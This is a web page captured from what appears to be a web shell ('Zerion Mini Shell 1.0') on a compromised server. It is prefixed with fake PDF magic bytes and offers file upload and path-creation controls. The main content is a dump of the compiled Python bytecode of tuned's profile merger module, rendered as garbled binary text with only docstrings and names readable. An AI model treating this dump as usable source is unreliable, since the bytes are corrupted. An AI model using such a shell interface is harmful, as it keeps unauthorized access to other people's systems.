%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/tuned/profiles/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/tuned/profiles/__pycache__/merger.cpython-39.pyc

a

���h�@s8ddlmZddlmZddlmZGdd�de�ZdS)�N)�reduce)�Profilec@s(eZdZdZdd�Zdd�Zdd�ZdS)	�Mergerz0
	Tool for merging multiple profiles into one.
	cCsdS)N�)�selfrr�9/usr/lib/python3.9/site-packages/tuned/profiles/merger.py�__init__
szMerger.__init__cCst|j|t��}|S)z�
		Merge multiple configurations into one. If there are multiple units of the same type, option 'devices'
		is set for each unit with respect to eliminating any duplicate devices.
		)r�
_merge_twor)rZconfigsZ
merged_configrrr�merge
szMerger.mergec	CsL|jdur|j|_|j�|j�t|j���D�]\}}|jtjkr�|j	rT|j
��t|j
�
��t|j�
��@}|j
�|j�|jr�t|j�D]}||vr�|j
j|dd�q�q.|j	s�||jvr�||j|<q.|j|j|_|j|j|_|j|j|_|jdu�r|j|j|_|jdu�r(|j|j|_|jdu�rB|j|j|_|jdu�r\|j|j|_|jdu�rv|j|j|_|jdu�r�|j|j|_|jdu�r�|jD]}|j|j�|d��q�d|_|dk�r2|j|j�dd�du�r2|j|j�dd�}|j|j�|j�||j|jd|j|jd<q.|j|j�|j�q.|S)z�
		Merge two profiles. The configuration of units with matching names are updated with options
		from the newer profile. If the 'replace' options of the newer unit is 'True', all options from the
		older unit are dropped.
		NF)�last�script)�name�options�update�listZunits�items�type�constsZPLUGIN_VARIABLES_UNIT_NAME�replaceZ	variables�clear�set�keysZprepend�reversed�move_to_endZenabledZdevices�priorityZdevices_udev_regexZ
cpuinfo_regexZuname_regexZ
script_preZscript_postZdrop�pop�get)	rZ	profile_aZ	profile_bZ	unit_nameZunitZoverwritten_variables�variable�optionrrrrr	sP


$"zMerger._merge_twoN)�__name__�
__module__�__qualname__�__doc__rr
r	rrrrrsr)Ztuned.constsr�	functoolsrZtuned.profiles.profiler�objectrrrrr�<module>s

Zerion Mini Shell 1.0